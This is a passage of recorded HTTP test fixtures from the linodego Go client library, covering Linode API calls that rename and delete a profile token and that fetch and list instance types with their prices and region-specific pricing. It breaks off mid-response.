X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "223" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"linodego-token-test_renamed"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/tokens/41180272 method: PUT response: body: '{"id": 41180272, "scopes": "linodes:read_only", "created": "2018-01-02T03:04:05", "label": "linodego-token-test_renamed", "token": "e695af7f49f471c1", "expiry": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "183" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/tokens/41180272 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestType_GetFound.yaml000066400000000000000000000033421455402072200310150ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/types/g6-standard-1 method: GET response: body: '{"id": "g6-standard-1", "label": "Linode 2GB", "price": {"hourly": 0.018, "monthly": 12.0}, "addons": {"backups": {"price": {"hourly": 0.004, "monthly": 2.5}}}, "memory": 2048, "disk": 51200, "transfer": 2000, "vcpus": 1, "gpus": 0, "network_out": 2000, "class": "standard", "successor": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Length: - "293" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestType_GetMissing.yaml000066400000000000000000000020331455402072200313470ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/types/does-not-exist method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - private, max-age=900 Content-Length: - "37" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 404 Not Found code: 404 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestTypes_List.yaml000066400000000000000000000323321455402072200304010ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/types method: GET response: body: '{"data": [{"id": "g6-nanode-1", "label": "Nanode 1GB", "price": {"hourly": 0.0075, "monthly": 5.0}, "addons": {"backups": {"price": {"hourly": 0.003, "monthly": 2.0}}}, "memory": 1024, "disk": 25600, "transfer": 1000, "vcpus": 1, "gpus": 0, "network_out": 1000, "class": "nanode", "successor": null}, {"id": "g6-standard-1", "label": "Linode 2GB", "price": {"hourly": 0.018, "monthly": 12.0}, "addons": {"backups": {"price": {"hourly": 0.004, "monthly": 2.5}}}, "memory": 2048, "disk": 51200, "transfer": 2000, "vcpus": 1, "gpus": 0, "network_out": 2000, "class": "standard", "successor": null}, {"id": "g6-standard-2", "label": "Linode 4GB", "price": {"hourly": 0.036, "monthly": 24.0}, "addons": {"backups": {"price": {"hourly": 0.008, "monthly": 5.0}}}, "memory": 4096, "disk": 81920, "transfer": 4000, "vcpus": 2, "gpus": 0, "network_out": 4000, "class": "standard", "successor": null}, {"id": "g6-standard-4", "label": "Linode 8GB", "price": {"hourly": 0.072, "monthly": 48.0}, "addons": {"backups": {"price": {"hourly": 0.015, "monthly": 10.0}}}, "memory": 8192, "disk": 163840, "transfer": 5000, "vcpus": 4, "gpus": 0, "network_out": 5000, "class": "standard", "successor": null}, {"id": "g6-standard-6", "label": "Linode 16GB", "price": {"hourly": 0.144, "monthly": 96.0}, "addons": {"backups": {"price": {"hourly": 0.03, "monthly": 20.0}}}, "memory": 16384, "disk": 327680, "transfer": 8000, "vcpus": 6, "gpus": 0, "network_out": 6000, "class": "standard", "successor": null}, {"id": "g6-standard-8", "label": "Linode 32GB", "price": {"hourly": 0.288, "monthly": 192.0}, "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}}}, "memory": 32768, "disk": 655360, "transfer": 16000, "vcpus": 8, "gpus": 0, "network_out": 7000, "class": "standard", "successor": null}, {"id": "g6-standard-16", "label": "Linode 64GB", "price": {"hourly": 0.576, "monthly": 384.0}, "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}}}, "memory": 65536, "disk": 1310720, "transfer": 20000, "vcpus": 16, "gpus": 0, "network_out": 9000, "class": "standard", "successor": null}, {"id": "g6-standard-20", "label": "Linode 96GB", "price": {"hourly": 0.864, "monthly": 576.0}, "addons": {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}}}, "memory": 98304, "disk": 1966080, "transfer": 20000, "vcpus": 20, "gpus": 0, "network_out": 10000, "class": "standard", "successor": null}, {"id": "g6-standard-24", "label": "Linode 128GB", "price": {"hourly": 1.152, "monthly": 768.0}, "addons": {"backups": {"price": {"hourly": 0.24, "monthly": 160.0}}}, "memory": 131072, "disk": 2621440, "transfer": 20000, "vcpus": 24, "gpus": 0, "network_out": 11000, "class": "standard", "successor": null}, {"id": "g6-standard-32", "label": "Linode 192GB", "price": {"hourly": 1.728, "monthly": 1152.0}, "addons": {"backups": {"price": {"hourly": 0.36, "monthly": 240.0}}}, "memory": 196608, "disk": 3932160, "transfer": 20000, "vcpus": 32, "gpus": 0, "network_out": 12000, "class": "standard", "successor": null}, {"id": "g7-highmem-1", "label": "Linode 24GB", "price": {"hourly": 0.09, "monthly": 60.0}, "addons": {"backups": {"price": {"hourly": 0.0075, "monthly": 5.0}}}, "memory": 24576, "disk": 20480, "transfer": 5000, "vcpus": 2, "gpus": 0, "network_out": 5000, "class": "highmem", "successor": null}, {"id": "g7-highmem-2", "label": "Linode 48GB", "price": {"hourly": 0.18, "monthly": 120.0}, "addons": {"backups": {"price": {"hourly": 0.015, "monthly": 10.0}}}, "memory": 49152, "disk": 40960, "transfer": 6000, "vcpus": 2, "gpus": 0, "network_out": 6000, "class": "highmem", "successor": null}, {"id": "g7-highmem-4", "label": "Linode 90GB", "price": {"hourly": 0.36, "monthly": 240.0}, "addons": {"backups": {"price": {"hourly": 0.03, "monthly": 20.0}}}, "memory": 92160, "disk": 92160, "transfer": 7000, "vcpus": 4, "gpus": 0, "network_out": 7000, "class": "highmem", "successor": null}, {"id": "g7-highmem-8", "label": "Linode 150GB", "price": {"hourly": 0.72, "monthly": 480.0}, "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}}}, "memory": 153600, "disk": 204800, "transfer": 8000, "vcpus": 8, "gpus": 0, "network_out": 8000, "class": "highmem", "successor": null}, {"id": "g7-highmem-16", "label": "Linode 300GB", "price": {"hourly": 1.44, "monthly": 960.0}, "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}}}, "memory": 307200, "disk": 348160, "transfer": 9000, "vcpus": 16, "gpus": 0, "network_out": 9000, "class": "highmem", "successor": null}, {"id": "g6-dedicated-2", "label": "Dedicated 4GB", "price": {"hourly": 0.054, "monthly": 36.0}, "addons": {"backups": {"price": {"hourly": 0.008, "monthly": 5.0}}}, "memory": 4096, "disk": 81920, "transfer": 4000, "vcpus": 2, "gpus": 0, "network_out": 4000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-4", "label": "Dedicated 8GB", "price": {"hourly": 0.108, "monthly": 72.0}, "addons": {"backups": {"price": {"hourly": 0.015, "monthly": 10.0}}}, "memory": 8192, "disk": 163840, "transfer": 5000, "vcpus": 4, "gpus": 0, "network_out": 5000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-8", "label": "Dedicated 16GB", "price": {"hourly": 0.216, "monthly": 144.0}, "addons": {"backups": {"price": {"hourly": 0.03, "monthly": 20.0}}}, "memory": 16384, "disk": 327680, "transfer": 6000, "vcpus": 8, "gpus": 0, "network_out": 6000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-16", "label": "Dedicated 32GB", "price": {"hourly": 0.432, "monthly": 288.0}, "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}}}, "memory": 32768, "disk": 655360, "transfer": 7000, "vcpus": 16, "gpus": 0, "network_out": 7000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-32", "label": "Dedicated 64GB", "price": {"hourly": 0.864, "monthly": 576.0}, "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}}}, "memory": 65536, "disk": 1310720, "transfer": 8000, "vcpus": 32, "gpus": 0, "network_out": 8000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-48", "label": "Dedicated 96GB", "price": {"hourly": 1.296, "monthly": 864.0}, "addons": {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}}}, "memory": 98304, "disk": 1966080, "transfer": 9000, "vcpus": 48, "gpus": 0, "network_out": 9000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-50", "label": "Dedicated 128GB", "price": {"hourly": 1.728, "monthly": 1152.0}, "addons": {"backups": {"price": {"hourly": 0.24, "monthly": 160.0}}}, "memory": 131072, "disk": 2560000, "transfer": 10000, "vcpus": 50, "gpus": 0, "network_out": 10000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-56", "label": "Dedicated 256GB", "price": {"hourly": 3.456, "monthly": 2304.0}, "addons": {"backups": {"price": {"hourly": 0.3, "monthly": 200.0}}}, "memory": 262144, "disk": 5120000, "transfer": 11000, "vcpus": 56, "gpus": 0, "network_out": 11000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-64", "label": "Dedicated 512GB", "price": {"hourly": 6.912, "monthly": 4608.0}, "addons": {"backups": {"price": {"hourly": 0.36, "monthly": 240.0}}}, "memory": 524288, "disk": 7372800, "transfer": 12000, "vcpus": 64, "gpus": 0, "network_out": 12000, "class": "dedicated", "successor": null}, {"id": "g1-gpu-rtx6000-1", "label": "Dedicated 32GB + RTX6000 GPU x1", "price": {"hourly": 1.5, "monthly": 1000.0}, "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}}}, "memory": 32768, "disk": 655360, "transfer": 16000, "vcpus": 8, "gpus": 1, "network_out": 10000, "class": "gpu", "successor": null}, {"id": "g1-gpu-rtx6000-2", "label": "Dedicated 64GB + RTX6000 GPU x2", "price": {"hourly": 3.0, "monthly": 2000.0}, "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}}}, "memory": 65536, "disk": 1310720, "transfer": 20000, "vcpus": 16, "gpus": 2, "network_out": 10000, "class": "gpu", "successor": null}, {"id": "g1-gpu-rtx6000-3", "label": "Dedicated 96GB + RTX6000 GPU x3", "price": {"hourly": 4.5, "monthly": 3000.0}, "addons": {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}}}, "memory": 98304, "disk": 1966080, "transfer": 20000, "vcpus": 20, "gpus": 3, "network_out": 10000, "class": "gpu", "successor": null}, {"id": "g1-gpu-rtx6000-4", "label": "Dedicated 128GB + RTX6000 GPU x4", "price": {"hourly": 6.0, "monthly": 4000.0}, "addons": {"backups": {"price": {"hourly": 0.24, "monthly": 160.0}}}, "memory": 131072, "disk": 2621440, "transfer": 20000, "vcpus": 24, "gpus": 4, "network_out": 10000, "class": "gpu", "successor": null}, {"id": "g7-premium-2", "label": "Premium 4GB", "price": {"hourly": 0.0645, "monthly": 43.0}, "addons": {"backups": {"price": {"hourly": 0.008, "monthly": 5.0}}}, "memory": 4096, "disk": 81920, "transfer": 4000, "vcpus": 2, "gpus": 0, "network_out": 4000, "class": "premium", "successor": null}, {"id": "g7-premium-4", "label": "Premium 8GB", "price": {"hourly": 0.129, "monthly": 86.0}, "addons": {"backups": {"price": {"hourly": 0.015, "monthly": 10.0}}}, "memory": 8192, "disk": 163840, "transfer": 5000, "vcpus": 4, "gpus": 0, "network_out": 5000, "class": "premium", "successor": null}, {"id": "g7-premium-8", "label": "Premium 16GB", "price": {"hourly": 0.2595, "monthly": 173.0}, "addons": {"backups": {"price": {"hourly": 0.03, "monthly": 20.0}}}, "memory": 16384, "disk": 327680, "transfer": 6000, "vcpus": 8, "gpus": 0, "network_out": 6000, "class": "premium", "successor": null}, {"id": "g7-premium-16", "label": "Premium 32GB", "price": {"hourly": 0.519, "monthly": 346.0}, "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}}}, "memory": 32768, "disk": 655360, "transfer": 7000, "vcpus": 16, "gpus": 0, "network_out": 7000, "class": "premium", "successor": null}, {"id": "g7-premium-32", "label": "Premium 64GB", "price": {"hourly": 1.0365, "monthly": 691.0}, "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}}}, "memory": 65536, "disk": 1310720, "transfer": 8000, "vcpus": 32, "gpus": 0, "network_out": 8000, "class": "premium", "successor": null}, {"id": "g7-premium-48", "label": "Premium 96GB", "price": {"hourly": 1.5555, "monthly": 1037.0}, "addons": {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}}}, "memory": 98304, "disk": 1966080, "transfer": 9000, "vcpus": 48, "gpus": 0, "network_out": 9000, "class": "premium", "successor": null}, {"id": "g7-premium-50", "label": "Premium 128GB", "price": {"hourly": 2.073, "monthly": 1382.0}, "addons": {"backups": {"price": {"hourly": 0.24, "monthly": 160.0}}}, "memory": 131072, "disk": 2560000, "transfer": 10000, "vcpus": 50, "gpus": 0, "network_out": 10000, "class": "premium", "successor": null}, {"id": "g7-premium-56", "label": "Premium 256GB", "price": {"hourly": 4.1475, "monthly": 2765.0}, "addons": {"backups": {"price": {"hourly": 0.3, "monthly": 200.0}}}, "memory": 262144, "disk": 5120000, "transfer": 11000, "vcpus": 56, "gpus": 0, "network_out": 11000, "class": "premium", "successor": null}, {"id": "g7-premium-64", "label": "Premium 512GB", "price": {"hourly": 8.295, "monthly": 5530.0}, "addons": {"backups": {"price": {"hourly": 0.36, "monthly": 240.0}}}, "memory": 524288, "disk": 7372800, "transfer": 12000, "vcpus": 64, "gpus": 0, "network_out": 12000, "class": "premium", "successor": null}], "page": 1, "pages": 1, "results": 37}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestTypes_RegionSpecific.yaml000066400000000000000000000464621455402072200323700ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/types method: GET response: body: '{"data": [{"id": "g6-nanode-1", "label": "Nanode 1GB", "price": {"hourly": 0.0075, "monthly": 5.0}, "region_prices": [{"id": "us-east", "hourly": 0.009, "monthly": 6.0}], "addons": {"backups": {"price": {"hourly": 0.003, "monthly": 2.0}, "region_prices": [{"id": "us-east", "hourly": 0.0036, "monthly": 2.4}]}}, "memory": 1024, "disk": 25600, "transfer": 1000, "vcpus": 1, "gpus": 0, "network_out": 1000, "class": "nanode", "successor": null}, {"id": "g6-standard-1", "label": "Linode 2GB", "price": {"hourly": 0.015, "monthly": 10.0}, "region_prices": [{"id": "us-east", "hourly": 0.018, "monthly": 12.0}], "addons": {"backups": {"price": {"hourly": 0.004, "monthly": 2.5}, "region_prices": [{"id": "us-east", "hourly": 0.0048, "monthly": 3.0}]}}, "memory": 2048, "disk": 51200, "transfer": 2000, "vcpus": 1, "gpus": 0, "network_out": 2000, "class": "standard", "successor": null}, {"id": "g6-standard-2", "label": "Linode 4GB", "price": {"hourly": 0.03, "monthly": 20.0}, "region_prices": [{"id": "us-east", "hourly": 0.036, "monthly": 24.0}], "addons": {"backups": {"price": {"hourly": 0.008, "monthly": 5.0}, "region_prices": [{"id": "us-east", "hourly": 0.0096, "monthly": 6.0}]}}, "memory": 4096, "disk": 81920, "transfer": 4000, "vcpus": 2, "gpus": 0, "network_out": 4000, "class": "standard", "successor": null}, {"id": "g6-standard-4", "label": "Linode 8GB", "price": {"hourly": 0.06, "monthly": 40.0}, "region_prices": [{"id": "us-east", "hourly": 0.072, "monthly": 48.0}], "addons": {"backups": {"price": {"hourly": 0.015, "monthly": 10.0}, "region_prices": [{"id": "us-east", "hourly": 0.018, "monthly": 12.0}]}}, "memory": 8192, "disk": 163840, "transfer": 5000, "vcpus": 4, "gpus": 0, "network_out": 5000, "class": "standard", "successor": null}, {"id": "g6-standard-6", "label": "Linode 16GB", "price": {"hourly": 0.12, "monthly": 80.0}, "region_prices": [{"id": "us-east", "hourly": 0.144, "monthly": 96.0}], "addons": {"backups": {"price": {"hourly": 0.03, "monthly": 20.0}, "region_prices": [{"id": "us-east", "hourly": 0.036, "monthly": 24.0}]}}, "memory": 16384, "disk": 327680, "transfer": 8000, "vcpus": 6, "gpus": 0, "network_out": 6000, "class": "standard", "successor": null}, {"id": "g6-standard-8", "label": "Linode 32GB", "price": {"hourly": 0.24, "monthly": 160.0}, "region_prices": [{"id": "us-east", "hourly": 0.288, "monthly": 192.0}], "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}, "region_prices": [{"id": "us-east", "hourly": 0.072, "monthly": 48.0}]}}, "memory": 32768, "disk": 655360, "transfer": 16000, "vcpus": 8, "gpus": 0, "network_out": 7000, "class": "standard", "successor": null}, {"id": "g6-standard-16", "label": "Linode 64GB", "price": {"hourly": 0.48, "monthly": 320.0}, "region_prices": [{"id": "us-east", "hourly": 0.576, "monthly": 384.0}], "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}, "region_prices": [{"id": "us-east", "hourly": 0.144, "monthly": 96.0}]}}, "memory": 65536, "disk": 1310720, "transfer": 20000, "vcpus": 16, "gpus": 0, "network_out": 9000, "class": "standard", "successor": null}, {"id": "g6-standard-20", "label": "Linode 96GB", "price": {"hourly": 0.72, "monthly": 480.0}, "region_prices": [{"id": "us-east", "hourly": 0.864, "monthly": 576.0}], "addons": {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}, "region_prices": [{"id": "us-east", "hourly": 0.216, "monthly": 144.0}]}}, "memory": 98304, "disk": 1966080, "transfer": 20000, "vcpus": 20, "gpus": 0, "network_out": 10000, "class": "standard", "successor": null}, {"id": "g6-standard-24", "label": "Linode 128GB", "price": {"hourly": 0.96, "monthly": 640.0}, "region_prices": [{"id": "us-east", "hourly": 1.152, "monthly": 768.0}], "addons": {"backups": {"price": {"hourly": 0.24, "monthly": 160.0}, "region_prices": [{"id": "us-east", "hourly": 0.288, "monthly": 192.0}]}}, "memory": 131072, "disk": 2621440, "transfer": 20000, "vcpus": 24, "gpus": 0, "network_out": 11000, "class": "standard", "successor": null}, {"id": "g6-standard-32", "label": "Linode 192GB", "price": {"hourly": 1.44, "monthly": 960.0}, "region_prices": [{"id": "us-east", "hourly": 1.728, "monthly": 1152.0}], "addons": {"backups": {"price": {"hourly": 0.36, "monthly": 240.0}, "region_prices": [{"id": "us-east", "hourly": 0.432, "monthly": 288.0}]}}, "memory": 196608, "disk": 3932160, "transfer": 20000, "vcpus": 32, "gpus": 0, "network_out": 12000, "class": "standard", "successor": null}, {"id": "g7-highmem-1", "label": "Linode 24GB", "price": {"hourly": 0.09, "monthly": 60.0}, "region_prices": [{"id": "us-east", "hourly": 0.108, "monthly": 72.0}], "addons": {"backups": {"price": {"hourly": 0.0075, "monthly": 5.0}, "region_prices": [{"id": "us-east", "hourly": 0.009, "monthly": 6.0}]}}, "memory": 24576, "disk": 20480, "transfer": 5000, "vcpus": 2, "gpus": 0, "network_out": 5000, "class": "highmem", "successor": null}, {"id": "g7-highmem-2", "label": "Linode 48GB", "price": {"hourly": 0.18, "monthly": 120.0}, "region_prices": [{"id": "us-east", "hourly": 0.216, "monthly": 144.0}], "addons": {"backups": {"price": {"hourly": 0.015, "monthly": 10.0}, "region_prices": [{"id": "us-east", "hourly": 0.018, "monthly": 12.0}]}}, "memory": 49152, "disk": 40960, "transfer": 6000, "vcpus": 2, "gpus": 0, "network_out": 6000, "class": "highmem", "successor": null}, {"id": "g7-highmem-4", "label": "Linode 90GB", "price": {"hourly": 0.36, "monthly": 240.0}, "region_prices": [{"id": "us-east", "hourly": 0.432, "monthly": 288.0}], "addons": {"backups": {"price": {"hourly": 0.03, "monthly": 20.0}, "region_prices": [{"id": "us-east", "hourly": 0.036, "monthly": 24.0}]}}, "memory": 92160, "disk": 92160, "transfer": 7000, "vcpus": 4, "gpus": 0, "network_out": 7000, "class": "highmem", "successor": null}, {"id": "g7-highmem-8", "label": "Linode 150GB", "price": {"hourly": 0.72, "monthly": 480.0}, "region_prices": [{"id": "us-east", "hourly": 0.864, "monthly": 576.0}], "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}, "region_prices": [{"id": "us-east", "hourly": 0.072, "monthly": 48.0}]}}, "memory": 153600, "disk": 204800, "transfer": 8000, "vcpus": 8, "gpus": 0, "network_out": 8000, "class": "highmem", "successor": null}, {"id": "g7-highmem-16", "label": "Linode 300GB", "price": {"hourly": 1.44, "monthly": 960.0}, "region_prices": [{"id": "us-east", "hourly": 1.728, "monthly": 1152.0}], "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}, "region_prices": [{"id": "us-east", "hourly": 0.144, "monthly": 96.0}]}}, "memory": 307200, "disk": 348160, "transfer": 9000, "vcpus": 16, "gpus": 0, "network_out": 9000, "class": "highmem", "successor": null}, {"id": "g6-dedicated-2", "label": "Dedicated 4GB", "price": {"hourly": 0.045, "monthly": 30.0}, "region_prices": [{"id": "us-east", "hourly": 0.054, "monthly": 36.0}], "addons": {"backups": {"price": {"hourly": 0.008, "monthly": 5.0}, "region_prices": [{"id": "us-east", "hourly": 0.0096, "monthly": 6.0}]}}, "memory": 4096, "disk": 81920, "transfer": 4000, "vcpus": 2, "gpus": 0, "network_out": 4000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-4", "label": "Dedicated 8GB", "price": {"hourly": 0.09, "monthly": 60.0}, "region_prices": [{"id": "us-east", "hourly": 0.108, "monthly": 72.0}], "addons": {"backups": {"price": {"hourly": 0.015, "monthly": 10.0}, "region_prices": [{"id": "us-east", "hourly": 0.018, "monthly": 12.0}]}}, "memory": 8192, "disk": 163840, "transfer": 5000, "vcpus": 4, "gpus": 0, "network_out": 5000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-8", "label": "Dedicated 16GB", "price": {"hourly": 0.18, "monthly": 120.0}, "region_prices": [{"id": "us-east", "hourly": 0.216, "monthly": 144.0}], "addons": {"backups": {"price": {"hourly": 0.03, "monthly": 20.0}, "region_prices": [{"id": "us-east", "hourly": 0.036, "monthly": 24.0}]}}, "memory": 16384, "disk": 327680, "transfer": 8000, "vcpus": 8, "gpus": 0, "network_out": 6000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-16", "label": "Dedicated 32GB", "price": {"hourly": 0.36, "monthly": 240.0}, "region_prices": [{"id": "us-east", "hourly": 0.432, "monthly": 288.0}], "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}, "region_prices": [{"id": "us-east", "hourly": 0.072, "monthly": 48.0}]}}, "memory": 32768, "disk": 655360, "transfer": 16000, "vcpus": 16, "gpus": 0, "network_out": 7000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-32", "label": "Dedicated 64GB", "price": {"hourly": 0.72, "monthly": 480.0}, "region_prices": [{"id": "us-east", "hourly": 0.864, "monthly": 576.0}], "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}, "region_prices": [{"id": "us-east", "hourly": 0.144, "monthly": 96.0}]}}, "memory": 65536, "disk": 1310720, "transfer": 20000, "vcpus": 32, "gpus": 0, "network_out": 8000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-48", "label": "Dedicated 96GB", "price": {"hourly": 1.08, "monthly": 720.0}, "region_prices": [{"id": "us-east", "hourly": 1.296, "monthly": 864.0}], "addons": {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}, "region_prices": [{"id": "us-east", "hourly": 0.216, "monthly": 144.0}]}}, "memory": 98304, "disk": 1966080, "transfer": 20000, "vcpus": 48, "gpus": 0, "network_out": 9000, "class": "dedicated", "successor": null}, {"id": "g6-sawhorse-64", "label": "Sawhorse 192GB", "price": {"hourly": 4.5, "monthly": 3000.0}, "region_prices": [{"id": "us-east", "hourly": 5.4, "monthly": 3600.0}], "addons": {"backups": {"price": {"hourly": 0.0, "monthly": 0.0}, "region_prices": [{"id": "us-east", "hourly": 0.0, "monthly": 0.0}]}}, "memory": 196608, "disk": 8388608, "transfer": 9000, "vcpus": 64, "gpus": 0, "network_out": 10000, "class": "sawhorse", "successor": null}, {"id": "g6-dedicated-50", "label": "Dedicated 128GB", "price": {"hourly": 1.44, "monthly": 960.0}, "region_prices": [{"id": "us-east", "hourly": 1.728, "monthly": 1152.0}], "addons": {"backups": {"price": {"hourly": 0.24, "monthly": 160.0}, "region_prices": [{"id": "us-east", "hourly": 0.288, "monthly": 192.0}]}}, "memory": 131072, "disk": 2560000, "transfer": 10000, "vcpus": 50, "gpus": 0, "network_out": 10000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-56", "label": "Dedicated 256GB", "price": {"hourly": 2.88, "monthly": 1920.0}, "region_prices": [{"id": "us-east", "hourly": 3.456, "monthly": 2304.0}], "addons": {"backups": {"price": {"hourly": 0.3, "monthly": 200.0}, "region_prices": [{"id": "us-east", "hourly": 0.36, "monthly": 240.0}]}}, "memory": 262144, "disk": 5120000, "transfer": 11000, "vcpus": 56, "gpus": 0, "network_out": 11000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-64", "label": "Dedicated 512GB", "price": {"hourly": 5.76, "monthly": 3840.0}, "region_prices": [{"id": "us-east", "hourly": 6.912, "monthly": 4608.0}], "addons": {"backups": {"price": {"hourly": 0.36, "monthly": 240.0}, "region_prices": [{"id": "us-east", "hourly": 0.432, "monthly": 288.0}]}}, "memory": 524288, "disk": 7372800, "transfer": 12000, "vcpus": 64, "gpus": 0, "network_out": 12000, "class": "dedicated", "successor": null}, {"id": "g1-gpu-rtx6000-1", "label": "Dedicated 32GB + RTX6000 GPU x1", "price": {"hourly": 